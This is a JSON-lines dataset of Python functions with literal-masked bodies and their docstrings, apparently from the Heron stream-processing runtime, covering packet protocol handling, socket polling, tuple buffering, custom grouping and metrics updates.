{"signature": "def _handle_assignment_message(self, pplan):", "body": "Log.debug(\"<STR_LIT>\", str(pplan))<EOL>self.heron_instance_cls.handle_assignment_msg(pplan)<EOL>", "docstring": "Called when new NewInstanceAssignmentMessage arrives", "id": "f7473:c0:m12"}
{"signature": "@staticmethod<EOL><INDENT>def pack_int(i):<DEDENT>", "body": "return struct.pack(HeronProtocol.INT_PACK_FMT, i)<EOL>", "docstring": "Packs int to bytestring", "id": "f7474:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def unpack_int(i):<DEDENT>", "body": "return struct.unpack(HeronProtocol.INT_PACK_FMT, i)[<NUM_LIT:0>]<EOL>", "docstring": "Unpacks bytestring to int", "id": "f7474:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def get_size_to_pack_string(string):<DEDENT>", "body": "return <NUM_LIT:4> + len(string)<EOL>", "docstring": "Get size to pack string, four byte used for specifying length of the string", "id": "f7474:c0:m2"}
{"signature": "@staticmethod<EOL><INDENT>def get_size_to_pack_message(message):<DEDENT>", "body": "return <NUM_LIT:4> + message.ByteSize()<EOL>", "docstring": "Get size to pack message, four byte used for specifying length of the message", "id": "f7474:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def read_new_packet(dispatcher):<DEDENT>", "body": "packet = IncomingPacket()<EOL>packet.read(dispatcher)<EOL>return packet<EOL>", "docstring": "Reads new packet and returns an IncomingPacket object\n\n        :param dispatcher: asyncore's dispatcher class from which packets is read", "id": "f7474:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def decode_packet(packet):<DEDENT>", "body": "if not packet.is_complete:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>data = packet.data<EOL>len_typename = HeronProtocol.unpack_int(data[:<NUM_LIT:4>])<EOL>data = data[<NUM_LIT:4>:]<EOL>typename = data[:len_typename]<EOL>data = data[len_typename:]<EOL>reqid = REQID.unpack(data[:REQID.REQID_SIZE])<EOL>data = data[REQID.REQID_SIZE:]<EOL>len_msg = HeronProtocol.unpack_int(data[:<NUM_LIT:4>])<EOL>data = data[<NUM_LIT:4>:]<EOL>serialized_msg = data[:len_msg]<EOL>return typename, reqid, serialized_msg<EOL>", "docstring": "Decodes an IncomingPacket object and returns (typename, reqid, serialized message)", "id": "f7474:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def create_packet(reqid, message):<DEDENT>", "body": "assert message.IsInitialized()<EOL>packet = '<STR_LIT>'<EOL>typename = message.DESCRIPTOR.full_name<EOL>datasize = HeronProtocol.get_size_to_pack_string(typename) +REQID.REQID_SIZE + HeronProtocol.get_size_to_pack_message(message)<EOL>packet += HeronProtocol.pack_int(datasize)<EOL>packet += HeronProtocol.pack_int(len(typename))<EOL>packet += typename<EOL>packet += reqid.pack()<EOL>packet += HeronProtocol.pack_int(message.ByteSize())<EOL>packet += message.SerializeToString()<EOL>return OutgoingPacket(packet)<EOL>", "docstring": "Creates Outgoing Packet from a given reqid and message\n\n        :param reqid: REQID object\n        :param message: protocol buffer object", "id": "f7474:c1:m2"}
{"signature": "@property<EOL><INDENT>def sent_complete(self):<DEDENT>", "body": "return len(self.to_send) == <NUM_LIT:0><EOL>", "docstring": "Indicates whether this packet is successfully sent", "id": "f7474:c1:m3"}
{"signature": "def send(self, dispatcher):", "body": "if self.sent_complete:<EOL><INDENT>return<EOL><DEDENT>sent = dispatcher.send(self.to_send)<EOL>self.to_send = self.to_send[sent:]<EOL>", "docstring": "Sends this outgoing packet to dispatcher's socket", "id": "f7474:c1:m4"}
{"signature": "def __init__(self):", "body": "self.header = '<STR_LIT>'<EOL>self.data = '<STR_LIT>'<EOL>self.is_header_read = False<EOL>self.is_complete = False<EOL>self.id = random.getrandbits(<NUM_LIT:8>)<EOL>", "docstring": "Initializes IncomingPacket object", "id": "f7474:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def create_packet(header, data):<DEDENT>", "body": "packet = IncomingPacket()<EOL>packet.header = header<EOL>packet.data = data<EOL>if len(header) == HeronProtocol.HEADER_SIZE:<EOL><INDENT>packet.is_header_read = True<EOL>if len(data) == packet.get_datasize():<EOL><INDENT>packet.is_complete = True<EOL><DEDENT><DEDENT>return packet<EOL>", "docstring": "Creates an IncomingPacket object from header and data\n\n        This method is for testing purposes", "id": "f7474:c2:m1"}
{"signature": "def convert_to_raw(self):", "body": "return self.header + self.data<EOL>", "docstring": "Converts this IncomingPacket object to raw string\n\n        This method is for testing purposes", "id": "f7474:c2:m2"}
{"signature": "def get_datasize(self):", "body": "if not self.is_header_read:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>return HeronProtocol.unpack_int(self.header)<EOL>", "docstring": "Returns the datasize of the packet\n\n        :returns: (int) datasize of the packet, or -1 if header is incomplete", "id": "f7474:c2:m3"}
{"signature": "def get_pktsize(self):", "body": "return len(self.data) + len(self.header)<EOL>", "docstring": "Returns the size of this packet, including header and data", "id": "f7474:c2:m4"}
{"signature": "def read(self, dispatcher):", "body": "try:<EOL><INDENT>if not self.is_header_read:<EOL><INDENT>to_read = HeronProtocol.HEADER_SIZE - len(self.header)<EOL>self.header += dispatcher.recv(to_read)<EOL>if len(self.header) == HeronProtocol.HEADER_SIZE:<EOL><INDENT>self.is_header_read = True<EOL><DEDENT>else:<EOL><INDENT>Log.debug(\"<STR_LIT>\" % len(self.header))<EOL>return<EOL><DEDENT><DEDENT>if self.is_header_read and not self.is_complete:<EOL><INDENT>to_read = self.get_datasize() - len(self.data)<EOL>self.data += dispatcher.recv(to_read)<EOL>if len(self.data) == self.get_datasize():<EOL><INDENT>self.is_complete = True<EOL><DEDENT><DEDENT><DEDENT>except socket.error as e:<EOL><INDENT>if e.errno == socket.errno.EAGAIN or e.errno == socket.errno.EWOULDBLOCK:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Reads incoming data from asyncore.dispatcher", "id": "f7474:c2:m5"}
{"signature": "@staticmethod<EOL><INDENT>def generate():<DEDENT>", "body": "data_bytes = bytearray(random.getrandbits(<NUM_LIT:8>) for i in range(REQID.REQID_SIZE))<EOL>return REQID(data_bytes)<EOL>", "docstring": "Generates a random REQID for request", "id": "f7474:c3:m1"}
{"signature": "@staticmethod<EOL><INDENT>def generate_zero():<DEDENT>", "body": "data_bytes = bytearray(<NUM_LIT:0> for i in range(REQID.REQID_SIZE))<EOL>return REQID(data_bytes)<EOL>", "docstring": "Generates a zero REQID for message", "id": "f7474:c3:m2"}
{"signature": "def pack(self):", "body": "return self.bytes<EOL>", "docstring": "Packs this REQID to bytestring", "id": "f7474:c3:m3"}
{"signature": "def is_zero(self):", "body": "return self == REQID.generate_zero()<EOL>", "docstring": "Checks if this REQID is zero", "id": "f7474:c3:m4"}
{"signature": "@staticmethod<EOL><INDENT>def unpack(raw_data):<DEDENT>", "body": "return REQID(bytearray(raw_data))<EOL>", "docstring": "Unpacks a given bytestring and returns REQID object", "id": "f7474:c3:m5"}
{"signature": "def __init__(self, socket_map):", "body": "super(GatewayLooper, self).__init__()<EOL>self.sock_map = socket_map<EOL>self.pipe_r, self.pipe_w = os.pipe()<EOL>self.started = time.time()<EOL>Log.debug(\"<STR_LIT>\" + str(time.asctime()))<EOL>", "docstring": "Initializes a GatewayLooper instance\n\n        :param socket_map: socket map used for asyncore.dispatcher", "id": "f7475:c0:m0"}
{"signature": "def poll(self, timeout=<NUM_LIT:0.0>):", "body": "if self.sock_map is None:<EOL><INDENT>Log.warning(\"<STR_LIT>\")<EOL><DEDENT>readable_lst = []<EOL>writable_lst = []<EOL>error_lst = []<EOL>if self.sock_map is not None:<EOL><INDENT>for fd, obj in self.sock_map.items():<EOL><INDENT>is_r = obj.readable()<EOL>is_w = obj.writable()<EOL>if is_r:<EOL><INDENT>readable_lst.append(fd)<EOL><DEDENT>if is_w and not obj.accepting:<EOL><INDENT>writable_lst.append(fd)<EOL><DEDENT>if is_r or is_w:<EOL><INDENT>error_lst.append(fd)<EOL><DEDENT><DEDENT><DEDENT>readable_lst.append(self.pipe_r)<EOL>Log.debug(\"<STR_LIT>\" + str(timeout) + \"<STR_LIT>\" + str(self.sock_map))<EOL>try:<EOL><INDENT>readable_lst, writable_lst, error_lst =select.select(readable_lst, writable_lst, error_lst, timeout)<EOL><DEDENT>except select.error as err:<EOL><INDENT>Log.debug(\"<STR_LIT>\" + str(err))<EOL>if err.args[<NUM_LIT:0>] != errno.EINTR:<EOL><INDENT>raise<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT><DEDENT>Log.debug(\"<STR_LIT>\" + str(readable_lst) +<EOL>\"<STR_LIT>\" + str(writable_lst) + \"<STR_LIT>\" + str(error_lst))<EOL>if self.pipe_r in readable_lst:<EOL><INDENT>Log.debug(\"<STR_LIT>\")<EOL>os.read(self.pipe_r, <NUM_LIT>)<EOL>readable_lst.remove(self.pipe_r)<EOL><DEDENT>if self.sock_map is not None:<EOL><INDENT>for fd in readable_lst:<EOL><INDENT>obj = self.sock_map.get(fd)<EOL>if obj is None:<EOL><INDENT>continue<EOL><DEDENT>asyncore.read(obj)<EOL><DEDENT>for fd in writable_lst:<EOL><INDENT>obj = self.sock_map.get(fd)<EOL>if obj is None:<EOL><INDENT>continue<EOL><DEDENT>asyncore.write(obj)<EOL><DEDENT>for fd in error_lst:<EOL><INDENT>obj = self.sock_map.get(fd)<EOL>if obj is None:<EOL><INDENT>continue<EOL><DEDENT>asyncore._exception(obj)<EOL><DEDENT><DEDENT>", "docstring": "Modified version of poll() from asyncore module", "id": "f7475:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def make_tuple(stream, tuple_key, values, roots=None):<DEDENT>", "body": "component_name = stream.component_name<EOL>stream_id = stream.id<EOL>gen_task = roots[<NUM_LIT:0>].taskid if roots is not None and len(roots) > <NUM_LIT:0> else None<EOL>return HeronTuple(id=str(tuple_key), component=component_name, stream=stream_id,<EOL>task=gen_task, values=values, creation_time=time.time(), roots=roots)<EOL>", "docstring": "Creates a HeronTuple\n\n        :param stream: protobuf message ``StreamId``\n        :param tuple_key: tuple id\n        :param values: a list of values\n        :param roots: a list of protobuf message ``RootId``", "id": "f7476:c1:m0"}
{"signature": "@staticmethod<EOL><INDENT>def make_tick_tuple():<DEDENT>", "body": "return HeronTuple(id=TupleHelper.TICK_TUPLE_ID, component=TupleHelper.TICK_SOURCE_COMPONENT,<EOL>stream=TupleHelper.TICK_TUPLE_ID, task=None, values=None,<EOL>creation_time=time.time(), roots=None)<EOL>", "docstring": "Creates a TickTuple", "id": "f7476:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def make_root_tuple_info(stream_id, tuple_id):<DEDENT>", "body": "key = random.getrandbits(TupleHelper.MAX_SFIXED64_RAND_BITS)<EOL>return RootTupleInfo(stream_id=stream_id, tuple_id=tuple_id,<EOL>insertion_time=time.time(), key=key)<EOL>", "docstring": "Creates a RootTupleInfo", "id": "f7476:c1:m2"}
{"signature": "def add(self, stream_id, task_ids, grouping, source_comp_name):", "body": "if stream_id not in self.targets:<EOL><INDENT>self.targets[stream_id] = []<EOL><DEDENT>self.targets[stream_id].append(Target(task_ids, grouping, source_comp_name))<EOL>", "docstring": "Adds the target component\n\n        :type stream_id: str\n        :param stream_id: stream id into which tuples are emitted\n        :type task_ids: list of str\n        :param task_ids: list of task ids to which tuples are emitted\n        :type grouping: ICustomStreamGrouping object\n        :param grouping: custom grouping to use\n        :type source_comp_name: str\n        :param source_comp_name: source component name", "id": "f7478:c0:m1"}
{"signature": "def prepare(self, context):", "body": "for stream_id, targets in self.targets.items():<EOL><INDENT>for target in targets:<EOL><INDENT>target.prepare(context, stream_id)<EOL><DEDENT><DEDENT>", "docstring": "Prepares the custom grouping for this component", "id": "f7478:c0:m2"}
{"signature": "def choose_tasks(self, stream_id, values):", "body": "if stream_id not in self.targets:<EOL><INDENT>return []<EOL><DEDENT>ret = []<EOL>for target in self.targets[stream_id]:<EOL><INDENT>ret.extend(target.choose_tasks(values))<EOL><DEDENT>return ret<EOL>", "docstring": "Choose tasks for a given stream_id and values and Returns a list of target tasks", "id": "f7478:c0:m3"}
{"signature": "def prepare(self, context, stream_id):", "body": "self.grouping.prepare(context, self.source_comp_name, stream_id, self.task_ids)<EOL>", "docstring": "Invoke prepare() of this custom grouping", "id": "f7478:c1:m0"}
{"signature": "def choose_tasks(self, values):", "body": "ret = self.grouping.choose_tasks(values)<EOL>if not isinstance(ret, list):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % str(type(ret)))<EOL><DEDENT>else:<EOL><INDENT>for i in ret:<EOL><INDENT>if not isinstance(i, int):<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % str(i))<EOL><DEDENT>if i not in self.task_ids:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % i)<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>", "docstring": "Invoke choose_tasks() of this custom grouping", "id": "f7478:c1:m1"}
{"signature": "def send_out_tuples(self):", "body": "self._flush_remaining()<EOL>", "docstring": "Sends out currently buffered tuples into the Out-Stream", "id": "f7479:c0:m1"}
{"signature": "def add_data_tuple(self, stream_id, new_data_tuple, tuple_size_in_bytes):", "body": "if (self.current_data_tuple_set is None) or(self.current_data_tuple_set.stream.id != stream_id) or(len(self.current_data_tuple_set.tuples) >= self.data_tuple_set_capacity) or(self.current_data_tuple_size_in_bytes >= self.max_data_tuple_size_in_bytes):<EOL><INDENT>self._init_new_data_tuple(stream_id)<EOL><DEDENT>added_tuple = self.current_data_tuple_set.tuples.add()<EOL>added_tuple.CopyFrom(new_data_tuple)<EOL>self.current_data_tuple_size_in_bytes += tuple_size_in_bytes<EOL>self.total_data_emitted_in_bytes += tuple_size_in_bytes<EOL>", "docstring": "Add a new data tuple to the currently buffered set of tuples", "id": "f7479:c0:m2"}
{"signature": "def add_control_tuple(self, new_control_tuple, tuple_size_in_bytes, is_ack):", "body": "if self.current_control_tuple_set is None:<EOL><INDENT>self._init_new_control_tuple()<EOL><DEDENT>elif is_ack and (len(self.current_control_tuple_set.fails) > <NUM_LIT:0> or<EOL>len(self.current_control_tuple_set.acks) >= self.control_tuple_set_capacity):<EOL><INDENT>self._init_new_control_tuple()<EOL><DEDENT>elif not is_ack and(len(self.current_control_tuple_set.acks) > <NUM_LIT:0> or<EOL>len(self.current_control_tuple_set.fails) >= self.control_tuple_set_capacity):<EOL><INDENT>self._init_new_control_tuple()<EOL><DEDENT>if is_ack:<EOL><INDENT>added_tuple = self.current_control_tuple_set.acks.add()<EOL><DEDENT>else:<EOL><INDENT>added_tuple = self.current_control_tuple_set.fails.add()<EOL><DEDENT>added_tuple.CopyFrom(new_control_tuple)<EOL>self.total_data_emitted_in_bytes += tuple_size_in_bytes<EOL>", "docstring": "Add a new control (Ack/Fail) tuple to the currently buffered set of tuples\n\n        :param is_ack: ``True`` if Ack, ``False`` if Fail", "id": "f7479:c0:m3"}
{"signature": "def add_ckpt_state(self, ckpt_id, ckpt_state):", "body": "<EOL>self._flush_remaining()<EOL>msg = ckptmgr_pb2.StoreInstanceStateCheckpoint()<EOL>istate = ckptmgr_pb2.InstanceStateCheckpoint()<EOL>istate.checkpoint_id = ckpt_id<EOL>istate.state = ckpt_state<EOL>msg.state.CopyFrom(istate)<EOL>self._push_tuple_to_stream(msg)<EOL>", "docstring": "Add the checkpoint state message to be sent back the stmgr\n\n        :param ckpt_id: The id of the checkpoint\n        :ckpt_state: The checkpoint state", "id": "f7479:c0:m4"}
{"signature": "def clear(self):", "body": "self._flush_remaining()<EOL>self.out_stream.clear()<EOL>", "docstring": "Clears current data and the streams", "id": "f7479:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def get_serializer(context):<DEDENT>", "body": "cluster_config = context.get_cluster_config()<EOL>serializer_clsname = cluster_config.get(constants.TOPOLOGY_SERIALIZER_CLASSNAME, None)<EOL>if serializer_clsname is None:<EOL><INDENT>return PythonSerializer()<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>topo_pex_path = context.get_topology_pex_path()<EOL>pex_loader.load_pex(topo_pex_path)<EOL>serializer_cls = pex_loader.import_and_get_class(topo_pex_path, serializer_clsname)<EOL>serializer = serializer_cls()<EOL>return serializer<EOL><DEDENT>except Exception as e:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>% (serializer_clsname, str(e)))<EOL><DEDENT><DEDENT>", "docstring": "Returns a serializer for a given context", "id": "f7480:c0:m0"}
{"signature": "def __init__(self, producer_cb=None, consumer_cb=None):", "body": "self._producer_callback = producer_cb<EOL>self._consumer_callback = consumer_cb<EOL>self._buffer = Queue.Queue()<EOL>self.capacity = sys.maxsize<EOL>", "docstring": "Initialize HeronCommunicator\n\n        :param producer_cb: Callback function to be called (usually on producer thread)\n               when ``poll()`` is called by the consumer. Default ``None``\n        :param consumer_cb: Callback function to be called (usually on consumer thread)\n               when ``offer()`` is called by the producer. Default ``None``", "id": "f7481:c0:m0"}
{"signature": "def register_capacity(self, capacity):", "body": "self.capacity = capacity<EOL>", "docstring": "Registers the capacity of this communicator\n\n        By default, the capacity of HeronCommunicator is set to be ``sys.maxsize``", "id": "f7481:c0:m1"}
{"signature": "def get_size(self):", "body": "return self._buffer.qsize()<EOL>", "docstring": "Returns the size of the buffer", "id": "f7481:c0:m3"}
{"signature": "def is_empty(self):", "body": "return self._buffer.empty()<EOL>", "docstring": "Returns whether the buffer is empty", "id": "f7481:c0:m4"}
{"signature": "def poll(self):", "body": "try:<EOL><INDENT>ret = self._buffer.get(block=False)<EOL>if self._producer_callback is not None:<EOL><INDENT>self._producer_callback()<EOL><DEDENT>return ret<EOL><DEDENT>except Queue.Empty:<EOL><INDENT>Log.debug(\"<STR_LIT>\" % str(self))<EOL>raise Queue.Empty<EOL><DEDENT>", "docstring": "Poll from the buffer\n\n        It is a non-blocking operation, and when the buffer is empty, it raises Queue.Empty exception", "id": "f7481:c0:m5"}
{"signature": "def offer(self, item):", "body": "try:<EOL><INDENT>self._buffer.put(item, block=False)<EOL>if self._consumer_callback is not None:<EOL><INDENT>self._consumer_callback()<EOL><DEDENT>return True<EOL><DEDENT>except Queue.Full:<EOL><INDENT>Log.debug(\"<STR_LIT>\" % str(self))<EOL>raise Queue.Full<EOL><DEDENT>", "docstring": "Offer to the buffer\n\n        It is a non-blocking operation, and when the buffer is full, it raises Queue.Full exception", "id": "f7481:c0:m6"}
{"signature": "def clear(self):", "body": "while not self.is_empty():<EOL><INDENT>self.poll()<EOL><DEDENT>", "docstring": "Clear the buffer", "id": "f7481:c0:m7"}
{"signature": "def check_output_schema(self, stream_id, tup):", "body": "<EOL>size = self._output_schema.get(stream_id, None)<EOL>if size is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>% (self.my_component_name, stream_id))<EOL><DEDENT>elif size != len(tup):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (stream_id, size, len(tup)))<EOL><DEDENT>", "docstring": "Checks if a given stream_id and tuple matches with the output schema\n\n        :type stream_id: str\n        :param stream_id: stream id into which tuple is sent\n        :type tup: list\n        :param tup: tuple that is going to be sent", "id": "f7482:c0:m2"}
{"signature": "def get_my_spout(self):", "body": "if self.is_spout:<EOL><INDENT>return self._my_spbl<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns spout instance, or ``None`` if bolt is assigned", "id": "f7482:c0:m3"}
{"signature": "def get_my_bolt(self):", "body": "if self.is_spout:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self._my_spbl<EOL><DEDENT>", "docstring": "Returns bolt instance, or ``None`` if spout is assigned", "id": "f7482:c0:m4"}
{"signature": "def get_topology_state(self):", "body": "return self.pplan.topology.state<EOL>", "docstring": "Returns the current topology state", "id": "f7482:c0:m5"}
{"signature": "def is_topology_running(self):", "body": "return self.pplan.topology.state == topology_pb2.TopologyState.Value(\"<STR_LIT>\")<EOL>", "docstring": "Checks whether topology is currently running", "id": "f7482:c0:m6"}
{"signature": "def is_topology_paused(self):", "body": "return self.pplan.topology.state == topology_pb2.TopologyState.Value(\"<STR_LIT>\")<EOL>", "docstring": "Checks whether topology is currently paused", "id": "f7482:c0:m7"}
{"signature": "def is_topology_killed(self):", "body": "return self.pplan.topology.state == topology_pb2.TopologyState.Value(\"<STR_LIT>\")<EOL>", "docstring": "Checks whether topology is already killed", "id": "f7482:c0:m8"}
{"signature": "def get_topology_config(self):", "body": "if self.pplan.topology.HasField(\"<STR_LIT>\"):<EOL><INDENT>return self._get_dict_from_config(self.pplan.topology.topology_config)<EOL><DEDENT>else:<EOL><INDENT>return {}<EOL><DEDENT>", "docstring": "Returns the topology config", "id": "f7482:c0:m9"}
{"signature": "def set_topology_context(self, metrics_collector):", "body": "Log.debug(\"<STR_LIT>\")<EOL>cluster_config = self.get_topology_config()<EOL>cluster_config.update(self._get_dict_from_config(self.my_component.config))<EOL>task_to_component_map = self._get_task_to_comp_map()<EOL>self.context = TopologyContextImpl(cluster_config, self.pplan.topology, task_to_component_map,<EOL>self.my_task_id, metrics_collector,<EOL>self.topology_pex_abs_path)<EOL>", "docstring": "Sets a new topology context", "id": "f7482:c0:m10"}
{"signature": "@staticmethod<EOL><INDENT>def _get_dict_from_config(topology_config):<DEDENT>", "body": "config = {}<EOL>for kv in topology_config.kvs:<EOL><INDENT>if kv.HasField(\"<STR_LIT:value>\"):<EOL><INDENT>assert kv.type == topology_pb2.ConfigValueType.Value(\"<STR_LIT>\")<EOL>if PhysicalPlanHelper._is_number(kv.value):<EOL><INDENT>config[kv.key] = PhysicalPlanHelper._get_number(kv.value)<EOL><DEDENT>elif kv.value.lower() in (\"<STR_LIT:true>\", \"<STR_LIT:false>\"):<EOL><INDENT>config[kv.key] = True if kv.value.lower() == \"<STR_LIT:true>\" else False<EOL><DEDENT>else:<EOL><INDENT>config[kv.key] = kv.value<EOL><DEDENT><DEDENT>elif kv.HasField(\"<STR_LIT>\") andkv.type == topology_pb2.ConfigValueType.Value(\"<STR_LIT>\"):<EOL><INDENT>config[kv.key] = default_serializer.deserialize(kv.serialized_value)<EOL><DEDENT>else:<EOL><INDENT>assert kv.HasField(\"<STR_LIT:type>\")<EOL>Log.error(\"<STR_LIT>\"<EOL>% (str(kv), str(kv.type)))<EOL>continue<EOL><DEDENT><DEDENT>return config<EOL>", "docstring": "Converts Config protobuf message to python dictionary\n\n        Values are converted according to the rules below:\n\n        - Number string (e.g. \"12\" or \"1.2\") is appropriately converted to ``int`` or ``float``\n        - Boolean string (\"true\", \"True\", \"false\" or \"False\") is converted to built-in boolean type\n          (i.e. ``True`` or ``False``)\n        - Normal string is inserted to dict as is\n        - Serialized value is deserialized and inserted as a corresponding Python object", "id": "f7482:c0:m11"}
{"signature": "def _setup_custom_grouping(self, topology):", "body": "for i in range(len(topology.bolts)):<EOL><INDENT>for in_stream in topology.bolts[i].inputs:<EOL><INDENT>if in_stream.stream.component_name == self.my_component_name andin_stream.gtype == topology_pb2.Grouping.Value(\"<STR_LIT>\"):<EOL><INDENT>if in_stream.type == topology_pb2.CustomGroupingObjectType.Value(\"<STR_LIT>\"):<EOL><INDENT>custom_grouping_obj = default_serializer.deserialize(in_stream.custom_grouping_object)<EOL>if isinstance(custom_grouping_obj, str):<EOL><INDENT>pex_loader.load_pex(self.topology_pex_abs_path)<EOL>grouping_cls =pex_loader.import_and_get_class(self.topology_pex_abs_path, custom_grouping_obj)<EOL>custom_grouping_obj = grouping_cls()<EOL><DEDENT>assert isinstance(custom_grouping_obj, ICustomGrouping)<EOL>self.custom_grouper.add(in_stream.stream.id,<EOL>self._get_taskids_for_component(topology.bolts[i].comp.name),<EOL>custom_grouping_obj,<EOL>self.my_component_name)<EOL><DEDENT>elif in_stream.type == topology_pb2.CustomGroupingObjectType.Value(\"<STR_LIT>\"):<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % str(in_stream.type))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Checks whether there are any bolts that consume any of my streams using custom grouping", "id": "f7482:c0:m15"}
{"signature": "def prepare_custom_grouping(self, context):", "body": "self.custom_grouper.prepare(context)<EOL>", "docstring": "Prepares for custom grouping for this component\n\n        :param context: Topology context", "id": "f7482:c0:m17"}
{"signature": "def choose_tasks_for_custom_grouping(self, stream_id, values):", "body": "return self.custom_grouper.choose_tasks(stream_id, values)<EOL>", "docstring": "Choose target task ids for custom grouping\n\n        :return: task ids", "id": "f7482:c0:m18"}
{"signature": "def register_metrics(self, metrics_collector, interval):", "body": "for field, metrics in self.metrics.items():<EOL><INDENT>metrics_collector.register_metric(field, metrics, interval)<EOL><DEDENT>", "docstring": "Registers its metrics to a given metrics collector with a given interval", "id": "f7483:c0:m1"}
{"signature": "def update_count(self, name, incr_by=<NUM_LIT:1>, key=None):", "body": "if name not in self.metrics:<EOL><INDENT>Log.error(\"<STR_LIT>\", name)<EOL><DEDENT>if key is None and isinstance(self.metrics[name], CountMetric):<EOL><INDENT>self.metrics[name].incr(incr_by)<EOL><DEDENT>elif key is not None and isinstance(self.metrics[name], MultiCountMetric):<EOL><INDENT>self.metrics[name].incr(key, incr_by)<EOL><DEDENT>else:<EOL><INDENT>Log.error(\"<STR_LIT>\", name)<EOL><DEDENT>", "docstring": "Update the value of CountMetric or MultiCountMetric\n\n        :type name: str\n        :param name: name of the registered metric to be updated.\n        :type incr_by: int\n        :param incr_by: specifies how much to increment. Default is 1.\n        :type key: str or None\n        :param key: specifies a key for MultiCountMetric. Needs to be `None` for updating CountMetric.", "id": "f7483:c0:m2"}
{"signature": "def update_reduced_metric(self, name, value, key=None):", "body": "if name not in self.metrics:<EOL><INDENT>Log.error(\"<STR_LIT>\", name)<EOL><DEDENT>if key is None and isinstance(self.metrics[name], ReducedMetric):<EOL><INDENT>self.metrics[name].update(value)<EOL><DEDENT>elif key is not None and isinstance(self.metrics[name], MultiReducedMetric):<EOL><INDENT>self.metrics[name].update(key, value)<EOL><DEDENT>else:<EOL><INDENT>Log.error(\"<STR_LIT>\", name)<EOL><DEDENT>", "docstring": "Update the value of ReducedMetric or MultiReducedMetric\n\n        :type name: str\n        :param name: name of the registered metric to be updated.\n        :param value: specifies a value to be reduced.\n        :type key: str or None\n        :param key: specifies a key for MultiReducedMetric. Needs to be `None` for updating\n                    ReducedMetric.", "id": "f7483:c0:m3"}
{"signature": "def update_received_packet(self, received_pkt_size_bytes):", "body": "self.update_count(self.RECEIVED_PKT_COUNT)<EOL>self.update_count(self.RECEIVED_PKT_SIZE, incr_by=received_pkt_size_bytes)<EOL>", "docstring": "Update received packet metrics", "id": "f7483:c1:m1"}
{"signature": "def update_sent_packet(self, sent_pkt_size_bytes):", "body": "self.update_count(self.SENT_PKT_COUNT)<EOL>self.update_count(self.SENT_PKT_SIZE, incr_by=sent_pkt_size_bytes)<EOL>", "docstring": "Update sent packet metrics", "id": "f7483:c1:m2"}
{"signature": "def register_metrics(self, context):", "body": "sys_config = system_config.get_sys_config()<EOL>interval = float(sys_config[constants.HERON_METRICS_EXPORT_INTERVAL_SEC])<EOL>collector = context.get_metrics_collector()<EOL>super(ComponentMetrics, self).register_metrics(collector, interval)<EOL>", "docstring": "Registers metrics to context\n\n        :param context: Topology Context", "id": "f7483:c2:m1"}
{"signature": "def update_out_queue_full_count(self):", "body": "self.update_count(self.OUT_QUEUE_FULL_COUNT)<EOL>", "docstring": "Apply update to the out-queue full count", "id": "f7483:c2:m2"}
{"signature": "def update_emit_count(self, stream_id):", "body": "self.update_count(self.EMIT_COUNT, key=stream_id)<EOL>", "docstring": "Apply update to emit count", "id": "f7483:c2:m3"}
{"signature": "def serialize_data_tuple(self, stream_id, latency_in_ns):", "body": "self.update_count(self.TUPLE_SERIALIZATION_TIME_NS, incr_by=latency_in_ns, key=stream_id)<EOL>", "docstring": "Apply update to serialization metrics", "id": "f7483:c2:m4"}
{"signature": "def _init_multi_count_metrics(self, pplan_helper):", "body": "to_init = [self.metrics[i] for i in self.to_multi_init<EOL>if i in self.metrics and isinstance(self.metrics[i], MultiCountMetric)]<EOL>for out_stream in pplan_helper.get_my_spout().outputs:<EOL><INDENT>stream_id = out_stream.stream.id<EOL>for metric in to_init:<EOL><INDENT>metric.add_key(stream_id)<EOL><DEDENT><DEDENT>", "docstring": "Initializes the default values for a necessary set of MultiCountMetrics", "id": "f7483:c3:m1"}
{"signature": "def next_tuple(self, latency_in_ns):", "body": "self.update_reduced_metric(self.NEXT_TUPLE_LATENCY, latency_in_ns)<EOL>self.update_count(self.NEXT_TUPLE_COUNT)<EOL>", "docstring": "Apply updates to the next tuple metrics", "id": "f7483:c3:m2"}
{"signature": "def acked_tuple(self, stream_id, complete_latency_ns):", "body": "self.update_count(self.ACK_COUNT, key=stream_id)<EOL>self.update_reduced_metric(self.COMPLETE_LATENCY, complete_latency_ns, key=stream_id)<EOL>", "docstring": "Apply updates to the ack metrics", "id": "f7483:c3:m3"}
{"signature": "def failed_tuple(self, stream_id, fail_latency_ns):", "body": "self.update_count(self.FAIL_COUNT, key=stream_id)<EOL>self.update_reduced_metric(self.FAIL_LATENCY, fail_latency_ns, key=stream_id)<EOL>", "docstring": "Apply updates to the fail metrics", "id": "f7483:c3:m4"}
